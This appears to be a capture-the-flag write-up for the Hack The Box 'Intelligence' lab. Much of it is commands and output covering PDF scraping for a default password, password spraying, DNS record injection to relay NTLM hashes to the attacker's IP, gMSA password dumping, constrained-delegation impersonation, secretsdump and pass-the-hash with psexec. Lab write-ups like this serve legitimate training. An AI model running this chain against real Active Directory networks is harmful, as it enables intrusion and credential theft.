Enumeration
Open Port
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2021-08-06 12:35:56Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default
<STRIPED>
Web Enumeration
As we try to dowload the document we notice that file names are in date-stamps! Let’s find out all the valid file names using feroxbuster. And then we can download them. I automated this process…
Create Date Stamp Wordlist
I used BruteSploit from github! To generate a wordlist from 2019 to 2021
./wordlist-gen.sh -b 2019-01-01 -e 2021-12-31 -f yyyymmdd -s - -o wordlist.txt -a "-upload.pdf"
I used the above command to generate the wordlist
FeroxBuster
Dumper And Extractor
I created a small py scripts to dump (dowload) those PDFs, and then extractor to get useful info like password?
# dumper.py
#!/usr/bin/env python3
import requests
x = ["http://intelligence.htb/documents/2020-01-02-upload.pdf"]
# Above is a representation of what it had. You will have to put the feroxbuster's urls into a list here.
for url in x:
r = requests.get(url, allow_redirects=True)
with open(f"""{url.split('/')[-1]}""", 'wb') as f:
f.write(r.content)
# extractor.py
#!/usr/bin/env python3
import PyPDF2 as x
names = ["2020-01-01-upload.pdf"]
# Above is a representation of what it had. You will have to put the downloaded file's file names.
for i in names:
fileobject = open(i,'rb')
pdfreader = x.PdfFileReader(fileobject)
pageobj = pdfreader.getPage(0)
if pageobj.extractText().find("password")!=-1:
print(pageobj.extractText())
print(i)
PDF File Enumeration
I got the default password from the PDF file
2020-06-04-upload.pdf
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
NewIntelligenceCorpUser9876
After logging in please change your password as soon as possible.
I made a users wordlist from exif of the pdf
exiftool * | grep Creator > users
FootHold
Finding correct Credentials
I ran the following command
crackmapexec smb intelligence.htb -u users -p "NewIntelligenceCorpUser9876"
I got the above as the credentials
intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
Now let’s See whats in Users Shares
Inside Tiffany.Molina folder in Desktop we find user.txt. Got our flag!
Privilege Escalation
Injecting DNS Record Using LDAP
As we read the downdetector.ps1 it checks with default creds if the site is alive/dead.
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <[email protected]>' -To 'Ted Graves <[email protected]>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
So we shall inject out ip as a dns record using ldap. I used dnstoo.py
and then I set up responder to get the hash
./dnstool.py -u "10.10.10.248\Tiffany.Molina" -p "NewIntelligenceCorpUser9876" 10.10.10.248 -a add -d 10.10.14.24 -r web.intelligence.htb
And the hash
CRACKED!
CREDENTIALS: TED.GRAVES:Mr.Teddy
Read GMSA Password
python3 gMSADumper.py -u "TED.GRAVES" -p "Mr.Teddy" -d intelligence.htb
svc_int$:::5e47bac787e5e1970cf9acdb5b316239
Now we have the hash of svc_int$
Constrained Delegation Exploitation
Following this article
impacket-GetUserSPNs "intelligence.htb/svc_int$" -request-user UNCONSTRAINED_USER -hashes :5e47bac787e5e1970cf9acdb5b316239
That step was done to check if it had unconstrained delegation!
Constrained Delegation User Impersonation
impacket-getST -spn www/dc.intelligence.htb -impersonate administrator intelligence.htb/svc_int$ -hashes :5e47bac787e5e1970c f9acdb5b316239
The above command makes an cache of the ticket similar to the article
And then I import the kerberos TGT ticket
Finally I ll use secretsdump.py
Got administrator hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3:::
We will use Administrator hash with psexec
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:9075113fe16cf74f7c0f9b27e882dad3 [email protected]